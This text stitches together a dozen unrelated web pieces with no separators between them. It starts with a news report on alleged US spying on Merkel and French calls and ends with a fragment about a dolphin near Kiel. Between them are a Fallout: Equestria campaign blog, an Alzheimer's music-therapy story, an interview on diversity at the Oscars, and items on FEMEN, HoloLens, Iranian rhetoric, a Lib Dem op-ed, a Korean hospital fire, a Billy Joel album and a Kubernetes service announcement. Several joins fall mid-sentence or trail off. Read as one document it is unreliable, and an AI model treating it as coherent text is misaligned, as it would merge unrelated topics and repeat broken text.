Merkel made it clear that if the information about the U.S. having monitored her phone were true, it would be "completely unacceptable," spokesman Steffen Seibert said of Wednesday's call with Obama.
A spokesman for David Cameron declined to answer questions Thursday about whether the British Prime Minister's phone had been tapped by the United States, following Germany's suspicion about U.S. monitoring of Merkel's cell phone.
"I am not going to comment on matters of security or intelligence," the spokesman told reporters at a regular briefing.
Ayrault: 'Shocking' claims
Ayrault described the report of widespread spying by the NSA on French calls as "worrying" and "shocking," saying that security should not be guaranteed at the price of a loss of freedom.
However, U.S. Director of National Intelligence James Clapper suggested that the claims made by Le Monde were false.
The articles "contain inaccurate and misleading information regarding U.S. foreign intelligence activities," a written statement from his office said Tuesday. It added that the United States does gather intelligence of "the type gathered by all nations."
Nonetheless, the allegations prompted a flurry of diplomatic activity this week between the United States and France.
Obama and French President Francois Hollande spoke about the claims Monday.
"The President and President Hollande discussed recent disclosures in the press -- some of which have distorted our activities and some of which raise legitimate questions for our friends and allies about how these capabilities are employed," a White House statement said.
"The President made clear that the United States has begun to review the way that we gather intelligence, so that we properly balance the legitimate security concerns of our citizens and allies with the privacy concerns that all people share."
Hollande's office said the President expressed his "deep disapproval with regard to these practices" to Obama and that such alleged activities would be unacceptable between allies and friends.
The two Presidents agreed that French and American intelligence services would cooperate on investigating the report, according to the statement from the French President's office.
French Foreign Minister Laurent Fabius and U.S. Secretary of State John Kerry also met Tuesday to discuss the claims. The U.S. ambassador to France, Charles Rivkin, was summoned to the French Foreign Ministry in Paris on Monday to discuss the alleged spying.
Claims of U.S. spying, resulting from leaks by Snowden, have also soured U.S. relations with Mexico and Brazil.art by Sushimytaco
Previously in Beyond Equestria... Beyond the crenelated walls, the Luna Academy for Young Unicorns was one a beautiful, almost monastic village with cobblestone streets, academic towers, and a central courtyard lined with trees, boxed plants and benches facing towards an open yard with a simple yet elegant crescent moon mosaic. Now, a soft pink haze drifts over the rubble and across the broken walls, catching the light as the setting sun breaks through thin fissures in the clouds. Golden_Dream was led into this place, her friends following, by a reaper pony who folded in its wings, wrapping them about it like a black cloak, beckoned towards the school, and hopped down into the cobblestone walkways between the crumbling and Pink-infused structures. The group became separated from their spectral guide for a while. In their attempts to follow, they came across several audio recordings by a griffin -- once the chaplin of Shatara's Stable -- who had come here years ago in an attempt to make contact with the mysterious entities known as the reapers.
Those who read my blogs are familiar with Beyond Equestria, the Fallout: Equestria tabletop roleplaying campaign that I have been running for a bit over a year now, based on one of the story ideas detailed in my blog The Ones That Stick With Me. In that game, as well as my (now over) Stalliongrad game, I've continued building and developing the lands and history of the world of Fallout: Equestria. (These developments and additions are, of course, only headcanon.)
Most recently, as of the writing of this blog, the group which you met in my Crystal Empire Blues blog entries have made their way to Crescent Moon Canyon, at the edge of the isthmus into the zebra lands. There, in Littlehorn Valley, they have found the ruins of the Luna Academy for Young Unicorns, and have encountered something most rare and terrifying: reapers.
from Pink Eyes by mimezinga:
Warning: SPOILER
“—really, really late and I know I actually have all the time in the universe, but I hate these kinds of anomalies and this one has been going on for two hundred years! I’m beginning to lose my cool, there are a lot of better places I’d like to be rather than here!” A skeleton wearing a black hood was talking in Puppy’s direction, but he seemed to talk to himself more than the foal. The little filly smiled. That skelly pony was funny, he was talking like those grumpy ponies at the veteran retirement house! “Hi, I’m Puppysmiles! Have you seen my mom?” “Oh, please! Not that litany again! I’m going to resign, or strike! Or strike and then resign!” The skeleton pony was interrupted by the giggling filly. “Tee-hee, skelly pony is funny!” Stopping his monologue, the grim reaper finally noticed that the foal was looking at him. “You... can you see me? Is this some sort of prank? Because if this is a prank I’m going to give up for real, this time...” Puppy tilted her head. “A prank? I hope not! Last time I made a prank I was spanked ultra hard!” The pony paused for a long moment before falling down on his haunches, with a ghostly sigh. “At last...” Puppy trotted near to the weird looking stallion and sniffed his clothes. “Ah, who are you, pretty skelly pony?” “Me? I’m the Grim Reaper, Death, the Inevitable End, the Black Stallion...” From the foal’s blank stare, the skeleton realized that he was just wasting good words. ”But my colleagues call me Mort. Long story short, I’m the guy that shows the deceased how to reach their afterlife.” Puppy tilted her head, confused. “So... Have you seen my mom, or not?”
Reapers, or "reaper ponies", were only vaguely mentioned in Fallout: Equestria, but have been utilized in several other tales since.
art by SlashySmiley
Now, |
When the music's on, 93-year-old Domenica Bianchi visibly relaxes.
Domenica Bianchi listens to music from the 1930s on her iPod outside of the Harold and Grace Baker Centre in Toronto. The Alzheimer's Society of Toronto plans to distribute 10,000 iPods to people living with dementia in an effort to calm the affects of the condition. ( Lucas Oleniuk / Toronto Star )
The senior, who came to Canada more than four decades ago and was diagnosed with Alzheimer's disease three years ago, slouches forward in her wheelchair with her eyes mostly closed and listens to songs from her youth in Italy. It's a far cry from three years ago, Bianchi said, when her aunt “went delirious.” “All of a sudden she gets up and she doesn't recognize you, she doesn't know what house she's in,” Bianchi said.
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Bianchi said she must use cues to remind her aunt who she is: “I'm your sister's daughter... no, the other daughter.” But the music has eased Domenica's agitated state. With her headphones on and just the faintest of prodding, her aunt will raise her head and sing a few lines of Quanto sei bella Roma, a popular Italian song, from memory. Domenica Bianchi received the iPod, headphones and a $100 gift card for iTunes a few months ago from the Alzheimer Society of Toronto. A volunteer helped Bianchi load up the iPod with songs Domenica would like, and for the past few months, Bianchi has watched her aunt relax to the music, with no medication needed. “That's the point,” she said. “You want her to relax in a natural way.”
The Society launched the iPod Project last December, and even though it has delivered only 200 iPods so far, the organization plans to ramp up donation efforts this fall. Its three-year goal is 10,000. The Toronto program is modelled after Music and Memory, a non-profit based in New York that delivers personally loaded mp3 players to people. The Alzheimer Society of Toronto worked closely with Music and Memory to develop its own program, according to Scott Russell, director of community engagement.
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He said interest in the project initially came from a YouTube video that went viral last summer. In it, an elderly man named Henry who has dementia sits mostly inert and unresponsive. But when he hears music from his generation, his eyes light up and he starts to shake his head and move his arms like he's dancing. In Toronto, Russell said he's seen similar results. “There was a lady who was absolutely resistant to the idea,” he said. “She wasn't really into it, wasn't really there, but she listens to the music and at one point breaks down in tears, it makes her so happy.” It can't be just any music, though, and Lee Bartel, a professor in music education and association dean of research at the University of Toronto, said the choice of music is crucial. Music specific to someone's teenage years resonates deeply in their brains, Bartel said, even if it's not as powerful or as vibrant as when they were young. Unlike language, Bartel said, music is stored on “multiple dimensions,” which makes it easier to arouse the brain even decades later, and even after a diagnosis of dementia. “How do you get at what is there? How can you get at the life, the engagement, the consciousness? What will cut through this utter state of boredom and withdrawal from reality of life? Music has a way to do that because it is so distributed,” Bartel said. Russell cautions that music isn't a cure for Alzheimer's. But the iPod Project is one way to alleviate some of the depression and anxiety associated with it. “We can give them some sense of joy and peace and contentment,” Russell said, adding, “If we get the music right, if it's music they're connected to emotionally, it's effective.” For Domenica, the old Italian music is just right, although Bianchi jokes that she wishes the music that helped her aunt was different. “Unfortunately, all her songs are from the Fascist period,” she said, smiling at her aunt. “But what can you do?”Note: This infographic was updated to reflect winners through 2015.
The Academy Awards will soon unveil the very best in filmmaking in 2014. As the prediction chatter ricochets around the web, our curiosity about the level of racial and gender representation of the Academy Awards is the focus of our next Diversity Gap study. We reviewed the Academy’s entire 85-year history and the results were staggeringly disappointing, if not surprising in light of our past Diversity Gap studies of The Tony Awards, The Emmy Awards, the children’s book industry, The New York Times Top 10 Bestseller List, Sci-Fi and Fantasy Films, US politics, and Silicon Valley where we analyzed yearly/multi-year samplings and found a disturbingly consistent lack of diversity.
Since the Academy Awards was founded 85-years ago:
Only one woman of color (1%) has ever won the Academy Award for Best Actress
Only seven men of color (9%) have ever won the Academy Award for Best Actor
Only one woman (1%) has ever won the Academy Award for Best Director
An interview with independent filmmakers helps give a glimpse of the current climate of Hollywood today.
Gina Prince-Bythewood is a writer/director for television and film. Her credits include Love and Basketball, The Secret Life of Bees, and the upcoming film Beyond the Lights, which will be released November 14, 2014.
Iyin Landre is an American actress/filmmaker currently living in Río de Janeiro, Brazil. Her first feature film, Me + You, is now in pre-production.
Jason Chan is an Australian actor/writer/director and one of the founding partners of BananaMana Films, a creative production company based in Singapore. BananaMana recently completed its first thirteen-episode TV drama, What Do Men Want?, and is gearing up to start season two and a film in 2014.
Kelvin Yu is a Taiwanese American writer currently working on the Fox animated series Bob’s Burgers. A Los Angeles native, Yu studied theater and communications at UCLA. His acting credits include Milk, Star Trek, Studio 60 On the Sunset Strip, and The Shield. He also has a small white dog named Yuki that used to live in New York. Neither of them is fixed.
Jason Low: Gina, since writing and directing your independent film Love and Basketball, how has the climate of filmmaking changed? Is it easier or more difficult to get a film made that captures your ideals AND that is more accurately representative from a gender and minority perspective?
Gina Prince-Bythewood: Unfortunately it has gotten considerably harder to get a film made that has non-white leads, or a female lead.
JL: Iyin, in our initial conversation, when I asked you if you felt you had a shot at roles that were ethnically ambivalent, you mentioned that black actresses had a better shot at these types of roles because they are seen as American, especially to international audiences, whereas Asians are not seen as Americans. I found this really interesting. Perhaps you could expound on your response while including your observations about the international marketplace and African American actresses.
Iyin Landre: Man, this is such a complex and at times mind-boggling subject, the issues of race and identity. I’ve actually been thinking about it a lot since I got to Brazil, probably because I’ve had to deal with it more. I think to an international audience, Asian Americans are not perceived as being American. We are perceived as being Asian, from the motherland, speaking Japanese (or so I’ve encountered).
I don’t know that an African American actress would have to defend her nationality as much as I do, but I mean, hopefully all this changes when people meet me and they begin to wrap their minds around how I can look Asian but be American. (Of course, the grand irony in all of this is that I’m having these discourses about my “origin” in perfect English!)
JL: Gina, when you look at the Diversity Gap in the Academy Award infographic, do the numbers surprise you? If not, what are some of the mitigating factors that explain why the statistics look as they do?
GPB: The numbers do not surprise me because very few Academy Award level films with non-white leads are being greenlit. Until this changes, the abysmal numbers will not change. The box office drives which films get greenlit. The hope is that with this year’s success of a variety of films with African American leads, Hollywood will be more open to taking chances.
JL: Jason, you have a number of war stories to share about running up against race related obstacles during your acting career.
Jason Chan: After I completed medical school and worked in the hospital system for about four years, I got into drama school at NIDA (National Institute of Dramatic Arts). NIDA was made famous by many of its graduates: Mel Gibson, Judy Davis, Cate Blanchet, Baz Lurhman. We noticed even in drama school that ethnic actors were not only a minority, it was also rare that they were given lead roles. I fought for my chance at a lead in my final year and was successful. My own Australian agent, ICS, recounted to me a story about a meeting with casting directors. At the meeting, actors’ agents were told that if a role was described as “31 year old, Lawyer,” it meant “31 year old, Caucasian.” The default is always Caucasian unless something else is specifically asked for. Another friend of mine, of Indian descent, had been cast by the director of a new Australian TV drama. The network apparently had problems with his role and asked why they couldn’t cast “someone white” in his place, since the role wasn’t specifically Indian. This is the problem.
It is pretty clear that certain countries remain extremely Anglo-centric, and certainly in Australia that was a problem for me. That’s why I moved to Asia—Singapore specifically. At first I didn’t like the move. It felt like I had somehow given up or failed, but there was more to it. This short helps to explain part of it.
I’ve heard many Asian Australian actors say “I can’t stand it when they ask me to speak in broken English in a bad Asian accent.” My answer to them is, “Don’t do it then. You’re just perpetuating a false stereotype.” Every actor has a right to say no. I’ve said no many times, sometimes at the cost of a job.
When I played the green power ranger in Power Rangers Ninja Storm, I spoke at length to the head writer/ producer and the costume department to subvert the stereotype. I played the geeky, computer genius that was going to become the final power ranger of the team. I told them I’d only do this if I could subvert the stereotype by being a cutting, sarcastic, charming geek who then becomes the most powerful of the group. They were very responsive to my concerns about stereotype and worked with me to develop the character. The green ranger ended up single handedly saving the team from near destruction during the series. I now have many ethnic fans who see me (or my character) as a role model.
When I first started auditioning in Singapore I was amazed by my own reaction to getting lead roles. I would think, Wait, I can’t have the lead role—I’m Asian!! I was used to auditioning for minor roles or ethnically specific roles in Australia. Among my Asian actor friends almost all of them will say, “I’m sick of being asked to speak in broken English.” Singapore was obviously different and it has allowed me to grow as an actor and to develop my own language and stories.
***Other Ways to Get Film and Media Projects Made Outside of Hollywood***
JL: Iyin, how did the independent film Me + You come to be?
IL: I was thinking about this the other day as I turned in quarter steps in my mini shower here in Brazil, tracing the experiences that have led me here.
I’ve always known that I wanted to be more than an actor. I’ve always wanted to create, tell my own stories. After acting in LA for several years, I realized that there was a ceiling to the opportunities that were coming my way, especially being an Asian American actress. So I took things into my own hands and learned how to write, produce, and direct. This way I could make my own movies and not have to wait for someone else to cast me in one.
During a screenwriting class, I came up with the premise for this feature for which I’m currently in pre-production. The story is about an American girl who travels to Brazil and falls in love with a drug dealer from the favelas. It’s gritty, thrilling, exciting—everything that I love about independent cinema.
After I finished the screenplay, I brainstormed the best way to raise money to shoot the feature. Since I had some airline miles that I’d been saving, I decided to fly down to Brazil by myself and shoot a trailer for the movie. I felt that if I could show what the movie would look like, feel like, I would be able to raise the funding for it.
JL: Iyin, did Kickstarter play a major role in helping raise funds to finance your independent film?
IL: Kickstarter was a whirlwind. Originally I didn’t want to do Kickstarter because I knew how tedious it would be, and how awkward it is to ask friends for money. But a few other factors came into play, and in mid-August, I launched my Kickstarter campaign. I set the goal at $75K and it did indeed become a full time job, emailing, reaching out, Facebooking, Tweeting. I raised close to $15K through my social network the first three weeks or so, but with not many days left, I had to re-strategize. I dug to the core of why I was making this movie, what was spurring me on, and decided to shoot a new video. We emailed the new video out to several websites with big followings and Upworthy.com picked it up with forty-three hours left in the campaign. It was a true miracle how we met our goal, raising a whopping $62K in the last two days.
JL: Jason, tell us about your new production company, BananaMana Films.
JC: I have decided to take up the fight from this part of the world. The best I can do is to produce, write, and direct content that puts Asian faces on the screen. People need to see faces of all color on TV and in film so they become the norm. We’ve established a production company, BananaMana Films, which has just completed it’s first thirteen-episode TV drama. My business partner, Christian Lee, and I wrote, directed, and produced the series and it will air on local TV next year. Hopefully it will be successful and we’ll get the opportunity to keep producing. So far the feedback has been tremendous.
With our production company we can now produce content that puts Asian faces on TV and hopefully soon the bigger screen. We do it without question or apology. Asians are not the minority and they don’t speak in a “funny” way. They speak English perfectly like everyone else and they can play any role. The key is to cast color blind, never to look at race as a deciding factor. In our TV show we have Indian, Malay, and Chinese actors, basically anyone who can act the part.
JL: Kelvin, Gina have you seen any working models of production companies that are (a) doing something to move the needle on promoting more diverse projects, and (b) commercially successful?
GPB: I think the independent world is still the best incubator of diverse projects with diverse casts. However, with continued success, studios will follow the trend.
Kelvin Yu: Maybe the best current example of how the market and diversity can dovetail is Tyler Perry. I sometimes describe Tyler Perry as the Karl Rove of Hollywood. It’s a joke, of course, but what I mean is that both guys, in a sense, took advantage of a previously untapped well. In Rove’s case, first in the early 1980s with Lee Atwater and then eventually with George Bush in 2000, he took the Republican Party and essentially said to them, “Listen, there is this small, but extremely fanatical group of people way out on the outskirts. Come with me and I will take you to the promised land.” We all know what happened next. The party bet the house on a fringe demographic that was passionate and easily galvanized. And it worked. Those people turned out to be all they needed to obtain a slim majority of the vote.
In an analogous way, I think Tyler Perry emerged about ten or fifteen years ago by introducing Hollywood to a market that it never even realized existed. Prior to Tyler Perry, the African American movie going profile catered to urban interests (read Hip Hop and gang-related). Studios assumed black movies were New Jack City, Friday, House Party and Juice. By the time Perry comes around, he’s educating the studios that there is a black middle/upper class. They are family oriented, socially conservative, and often religious. They love comedy, sometimes they like cross-dressing grandmas, and most important, they go to the movies. A lot.
Perry was right. And it paid off. He can make a movie for less than ten million dollars that will gross twenty million opening weekend, and he caters to an audience that was previously undiscovered. It’s like he’s pulling dollars out of the air.
But for the purposes of our discussion, this is a good example of the intersection of profit and diversity.
JL: Jason, What are some things that people can do to support non-Hollywood projects and encourage diversity in their viewing habits and choices?
JC: We need more people of minority races creating content that is rich in diversity and culture.
We need to watch films of other countries and support films from countries that don’t own the distribution network. Some of the best films in the world are from Japan and Korea, and yet they have limited distribution because Hollywood controls most of the world’s cinemas. This is changing with the internet. I would encourage everyone to watch and share films from all countries to get a more balanced view of the world, and to see that there is a thriving film and TV industry outside of Hollywood. In fact, it’s more than thriving. In my opinion, films from Asia are shaping many of the films coming out of Hollywood. Korea in particular is redefining storytelling all the time. The Koreans have the most refreshing TV dramas I’ve seen in a decade.
We need to support minorities going into the arts. This can only benefit the depth and breadth of content that gets made.
Finally, don’t support films with stereotypes. If you see stereotypes in a film, talk about them and don’t stand for such depictions of people of color. Stereotypes are the seeds of racism.
***
Read our 2015 follow up post with updated numbers.
This is not an isolated incident, but a wide reaching societal problem.
Read more Diversity Gap studies on:
The Tony Awards
The Emmy Awards
The children’s book industry
The New York Times Top 10 Bestseller List
US politics
Sci-Fi and Fantasy Films
Silicon Valley
Further resources on how to teach content and visual literacy using Lee & Low Books’ infographics series on the Diversity Gap:
Using Infographics In The Classroom To Teach Visual Literacy
For press inquiries or permission to reprint, please contact Hannah Ehrlich at hehrlich[at]leeandlow[dot]com.KIEV — Activists from Ukraine’s scandalous FEMEN group staged a topless protest Tuesday in a show of anger against the entire political class amid the trial against former prime minister Yulia Tymoshenko.
Two young women climbed on the roof of a police truck parked in the courthouse area and quickly stripped from the waist up, an AFP photographer reported from the scene.
“Everyone will be jailed, come in there is still space!” one of the girls yelled. After several minutes several riot policemen climbed onto the truck and with, visible difficulty, pulled them off the roof by hands and feet.
They were put into the same truck, which is used to transport protesters to the police station.
“We are against attempts to present this squabble between two criminal gangs as a battle between good and evil,” FEMEN said in a press release.
The group calls on Ukrainians to “fill the police trucks with bandits” from both the government and the opposition who have “ransacked Ukraine with impunity for 20 years” since its independence.
Arrested in early August, Tymoshenko is accused of abusing power while serving as prime minister in 2009 by authorising imports of Russian gas at elevated prices without government approval.
Tymoshenko dismisses these accusations as political repression orchestrated by her enemy Viktor Yanukovych, currently president.
FEMEN has gained worldwide fame by staging a string of topless protests in Ukraine in recent years to draw attention to issues from the exploitation of women to corruption.
Watch video, courtesy of Reuters, below:The face of Neowin's HoloLens coverage
Microsoft announced dates and locations for its HoloLens Roadshow today. Anyone will be able to register for a demo of the company's holographic computing device, assuming that you can make it to one of the select locations on the specified dates.
Here are the dates and locations:
Bellevue, WA - September 1 - 4, 8 - 11
- September 1 - 4, 8 - 11 Palo Alto, CA - September 15 - 18
- September 15 - 18 Mississauga, ON - September 15 - 18
- September 15 - 18 Mission Viejo, CA - September 22 - 25
- September 22 - 25 Calgary, AB - September 22 - 25
- September 22 - 25 Dallas, TX - September 29 - October 2
- September 29 - October 2 Boston, MA - September 29 - October 2
- September 29 - October 2 Houston, TX - October 6 - 9
- October 6 - 9 Tysons Corner, VA - October 6 - 9
- October 6 - 9 Chicago, IL - October 13 - 16
- October 13 - 16 Atlanta, GA - October 13 - 16
- October 13 - 16 Bloomington, MN - October 20 - 23
- October 20 - 23 Orlando, FL - October 20 - 23
Microsoft has certainly been keeping HoloLens and Windows Holographic - the operating system that runs on the device - in the news lately. As with all versions of Windows 10, Holographic got its Anniversary Update last month. Later in the month, the company would offer details on the Holographic Processing Unit that powers the device.
As you'd probably expect, the demos will be held in the local Microsoft Store for each location. You can sign up for the event right here.At the Iranian Foreign Ministry, in Tehran, a banner advertising an article written by Ayatollah Khomeini in which he is quoted as saying that America is the Great Satan.
The Great Satan (Persian: شيطان بزرگ; Shaytân-e Bozorg, Shaytân-e Kabir) is a derogatory epithet for the United States of America in some Iranian foreign policy statements. Occasionally, these words have also been used toward the government of the United Kingdom.
The term was originally[citation needed] used by Iranian leader Ruhollah Khomeini in his speech on November 5, 1979 to describe the United States, which he accused of imperialism and the sponsoring of corruption throughout the world.[1] The speech occurred one day after the onset of the Iran hostage crisis.
Ayatollah Khomeini also occasionally used the term "Iblis" (the primary devil in Islam) to refer to the United States and other Western countries.[citation needed]
Background [ edit ]
The post-revolutionary government of Iran has regarded the United States and the United Kingdom as imperialist states, who have a long history of interfering in Iran's internal affairs. In 1907, an Anglo-Russian agreement between Russia and Britain divided Iran into spheres of influence, ignoring, although not terminating, Iran's sovereignty. In 1953, during the Cold War, British intelligence officials[2] and the administration of the U.S. President Dwight D. Eisenhower planned a joint Anglo-American operation to overthrow the elected prime minister, Mohammad Mossadeq.[3][4][5] The Eisenhower administration was concerned that Mossadeq's nationalist aspirations could lead to an eventual communist takeover of Iran.[6][7][8][9][10][11] The operation was code-named Operation Ajax. At first, the military coup seemed to fail, and Shah Mohammed Reza Pahlavi fled the country.[12][13] After widespread rioting and with help from the CIA and British intelligence services, Mossadeq was defeated and the Shah returned to power, ensuring support for Western (chiefly British) oil interests and ending the perceived threat of communist expansion. General Fazlollah Zahedi, who led the military coup, became prime minister.
In 1965, Ayatollah Khomeini was exiled for criticizing the White Revolution's vote to women, land reform and the Shah's unpopular[14][15] Status of Forces Bill, which gave U.S. military personnel diplomatic immunity for crimes committed in Iran.[16] By the early 1970s, many Iranians opposed the Shah's government.[17] Khomeini eventually returned to Iran and led the 1979 Iranian revolution. During the Iranian Revolution, demonstrators commonly chanted slogans such as "Death to Shah," "Independence, Freedom, Islamic Republic,"[18] and "Death to America".[19]
Definition [ edit ]
Khomeini is quoted as saying on November 5, 1979, "[America is] the great Satan, the wounded snake."[20] The term was used extensively during and after the Islamic Revolution,[21] and it continues to be used in some Iranian political circles. Use of the term at rallies is often accompanied by shouts of "Marg bar Amrika!" ("Death to America"). It is used in academic journals.[22]
Lesser Satan [ edit ]
Khomeini called the Soviet Union, the principal antagonist of the US during the Cold War, the "Lesser Satan" because of its atheistic communist ideology, and he said that Iran should support neither side of the Cold War.[23]
The State of Israel was condemned as the "Little Satan" in 1979 by Khomeini when he was addressing Israel's backing of the Shah, its close ties to the US, and the ongoing Israeli–Palestinian conflict. Former Libyan leader Muammar Gaddafi also stated that "Israel is the little Satan" in a July 1980 interview.[24]
Controversies [ edit ]
The term has been discussed extensively and addressed within the context of Iran–United States relations by some members of the United States foreign policy establishment.[25]
See also [ edit ]Get the biggest politics stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Liberal Democrats, still reeling from the shock of near-annihilation in May’s election, gather tomorrow at Bournemouth for our conference.
After licking our wounds and lamenting the injustice of the harsh punishment we suffered for giving the country stable government during its worst economic crisis in 150 years, our fightback has started.
All is not lost. With the Tories now showing their true right wing colours free from our restraining influence, and Labour heading left under its new leadership, a huge political space has opened which we alone can realistically fill.
Read more:
So, street by street, ward by ward, constituency by constituency, we must rebuild as a political force and seize that ground.
The need for a liberal force in politics has never been greater. We must reinvent a liberal agenda on every front.
(Image: PA)
Socially, we must fight unfair benefit cuts which hit the weakest and undermine the working poor.
We must expose the chicanery of a “living wage” which will barely match the existing “minimum wage” if inflated in line with past trends.
Economically, we campaign unequivocally for Britain’s membership of the world’s largest market, the European Union, and for global efforts to liberalise trade fairly.
Both Tories and Labour have authoritarian tendencies which risk civil liberties on the altar of security fears: we alone can strike the right balance between them.
We must protect public services from Tory vandalism.
After inflicting damage on ourselves through the student fees disaster, we must re-establish ourselves as leaders in the politics of education, with the 14-19 sector ripe for a fresh start.
(Image: 2015 Getty Images)
The 2010 promise to be the greenest government ever is dead in the Tory agenda of 2015. Britain’s traditional internationalism looked severely lacking during the refugee crisis.
Tim Farron, our new leader, has an immense task on his hands.
But we remain a national force with experienced campaigners throughout the land.
And, bolstered by an influx of new members, we are determined to return strongly to the political centre-stage.
In the national interest, it just can’t come quickly enough.
Sir Nick Harvey is the Lib Dems' former Defence MinisterStory highlights Police say a patient in his 80s suffering from dementia is the main suspect
The head of the hospital apologizes in front of TV cameras
A nurse was among those killed in the blaze in an annex building of the hospital
Many of the elderly patients in the building had difficulty moving around, authorities say
A fire broke out at a South Korean hospital for the elderly early Wednesday, killing 21 people -- most of them patients in their 70s and 80s who had difficulty walking.
Police said that after examining video footage, they had detained a patient suffering from dementia whom they suspect of starting the blaze in the southern county of Jangseong.
The man, who is in his early 80s and was identified only by his surname of Kim, denies causing the fire, said Roh Gyu-ho, the head of Jangseong Police Station.
The fire started shortly after midnight in an annex building of the hospital where scores of patients in fragile states were staying.
Many of them were suffering from Alzheimer's disease, complications from strokes or other chronic diseases, the national news agency Yonhap reported, citing police and fire officials.
Although the fire was put out quickly, many of the victims, unable to move around easily, were believed to have been killed by asphyxiation from toxic fumes that filled the second floor of the two-story building.
Hospital apology
Video from CNN affiliate YTN showed emergency workers treating victims pulled from the building.
Twenty patients and a nurse died, the National Emergency Management Agency said, and eight people were injured, six of them seriously.
The head of the hospital, Lee Hyong-seok, apologized Wednesday in front of television cameras.
Police said they had closed-circuit television footage from the second floor of the annex building that led them to apprehend Kim as the main suspect. He was admitted to the hospital on May 1, Roh said.
South Korea was shaken last month by the sinking of the ferry Sewol off the country's southwestern coast, which left more than 300 people dead or missing, most of them high-school students on a field trip. The accident has focused attention on shortcomings in safety standards in South Korea.
On Monday, a fire at a bus terminal in Goyang, near Seoul, killed eight people and injured dozens more.1983 studio album by Billy Joel
An Innocent Man is the ninth studio album by American singer-songwriter Billy Joel, released on August 8, 1983. The concept album is a tribute to the American popular music of Joel's adolescent years with Joel paying homage to a number of different popular American musical styles from the late 1950s and early 1960s, most notably doo-wop and soul music.[5] The album cover artwork was taken on the front steps of 142 Mercer Street,[6] just north of the intersection of Mercer and Prince Street in the SoHo neighborhood in New York City.[7]
Chart performance [ edit ]
The album featured three Billboard Top 10 hit singles: "Tell Her About It" (No. 1), "Uptown Girl" (No. 3) and "An Innocent Man" (No. 10). Four other singles were released from the album: "The Longest Time" (No. 14), "Leave a Tender Moment Alone" (No. 27), "Keeping the Faith" (No. 18) and "This Night" (US B-side of "Leave a Tender Moment Alone"). "Tell Her About It" and "Uptown Girl" garnered international success—"Uptown Girl" reached No. 1 in the UK, Australia and New Zealand. An Innocent Man remained on the US Pop album chart for 111 weeks, becoming Joel's longest charting studio album behind The Stranger. For over a year, the album remained on the charts in the UK, Japan and Australia.
Awards [ edit ]
Like his three previous efforts, Joel's An Innocent Man received a nomination for the 26th Grammy Award for Album of the Year, although the award went to Michael Jackson's Thriller. The album was also nominated for a Grammy for Best Male Pop Vocal Performance for "Uptown Girl," but again was beaten by Thriller.
Background [ edit ]
In an interview about the making of the album, Joel talks about the fact that at the time that he was recording An Innocent Man, he was newly divorced from his first wife, Elizabeth Weber, and was single for the first time since achieving rock star status. He had the opportunity to date supermodels like Elle Macpherson and Christie Brinkley, and because of these experiences, he said, "I kind of felt like a teenager all over again." [5] Joel started writing songs in the same styles as pop songs that he remembered from his teenage years, citing pop music from the late 1950s and early 1960s, including "early R&B songs and The Four Seasons, and the Motown music, soul music."
Joel explained, "When you're gonna write [songs for a new album], you write what you're feeling. And I didn't fight it. The material was coming so easily and so quickly, and I was having so much fun doing it. I was kind of reliving my youth.... I think within 6 weeks I had written most of the material on the album." Joel also said that he was pleasantly surprised to have hit records in the 1980s with retro songs like the mostly a cappella doo wop song "The Longest Time."[5]
Track listing [ edit ]
All songs by Billy Joel, except for the chorus for "This Night," which is credited on the sleeve to L. v. Beethoven.
The track listing on the LP is slightly different from that on the cassette and original CD pressings, with the latter swapping the places of "The Longest Time" and "Uptown Girl" respectively. However, on the actual cassette shell and disc label, the songs are listed (and play) in the correct order as printed on the LP.
Personnel [ edit ]
Additional personnel
Production [ edit ]
Producer: Phil Ramone
Engineers: Jim Boyer, Bradshaw Leigh
Assistant engineers: Mike Allaire, Scott James
Production coordinator: Laura Loncteaux
Mastering: Ted Jensen
Horn and string arrangements: David Matthews
Background vocal arrangements: Tom Bahler
Musical advisor: Billy Zampino
Photography: Gilles Larrain
Cover design: Christopher Austopchuk, Mark Larson
Recorded at Chelsea Sound and A & R Recording, Inc., New York, NY
Mixed at A & R Recording, Inc., New York, NY
Mastered at Sterling Sound, New York, NY
Accolades [ edit ]
Grammy Awards [ edit ]
American Music Awards [ edit ]
Year Nominee / work Award Result 1983 Billy Joel (performer) Favorite Pop/Rock Male Artist[10] Nominated "Tell Her About It" Favorite Pop/Rock Video [10] Nominated
Charts [ edit ]
Decade-end charts [ edit ]
Chart (1980–89) Position Australian Albums Chart[11] 12 UK Albums Chart[35] 33
Certifications and sales [ edit ]Today, we’re announcing that we are adding a new managed container service to our list of cloud services. The container service is now available to users as a complimentary service offered on our public, private, and hybrid cloud infrastructure. The container service is compatible with multiple container platforms — and we’re excited to announce that the first container platform to be supported is Kubernetes. The new managed service will allow users to quickly deploy Kubernetes container clusters with automated scripts.
As of today, users can create up a cluster and start using it in a matter of minutes.
Why Kubernetes?
Kubernetes is currently one of the world’s leading container orchestration framework. Kubernetes owes its success to being initially built by Google who has decades of experience managing containerized applications at a very large scale. Kubernetes is now run by the Cloud Native Computing Foundation (CNSF) as an open source project with a large active community. This ensures that the project is constantly being updated with new features that further simplify the deployment, scaling, and high availability of containerized applications.
Why Kubernetes On VEXXHOST Infrastructure?
Public, private & hybrid offering:
VEXXHOST’s infrastructure-as-a-service (IaaS) offers public, private and hybrid cloud deployments. All our cloud services are offered on all three hosting models and Kubernetes container services are no different. Users will have access to our managed Kubernetes-as-a-Service offering across all our deployment platforms.
OpenStack & Kubernetes:
As avid OpenStack users, contributors, and sponsors, we’ve ensured that our Kubernetes Service would work along with all our OpenStack services. The container service, which is powered by the OpenStack project Magnum, gives users the freedom of choosing between OpenStack and Kubernetes. In many cases, users might want to work with both OpenStack and Kubernetes to benefit from their respective advantages. In which case, they will be able to use both solutions in the same environment.
Open Source and No Vendor Lock-In
We pride ourselves in the fact that all our infrastructure solutions are open sourced and have no vendor lock-in. Users can easily migrate their container workloads to anywhere Kubernetes is supported. By using open source solutions, users have the flexibility of taking over their Kubernetes cluster at any time. Knowing exactly what is happening ‘under the hood’ allows them to easily modify and configure the cluster if needed.
Pricing
Kubernetes container service is available to all users for free. Users can benefit from the fully managed service for free while only paying for the resource instances they require to create the container cluster. Instances are billed on an hourly basis |
moving back and forth between the Kieler Förde and the Kiel canal in Schleswig-Holstein, northern Germany, holding up ships and boats as it swims alongside them to move through locks.
Witnesses have reported that the dolphin is very friendly and allows swimmers to embrace it, and even pulls people through the water. Some said it appeared to beckon children to play by nudging them with its nose.
Facebook Twitter Pinterest A dolphin swimming with bathers near Kiel. Photograph: Thomas Eisenkraetzer/EPA
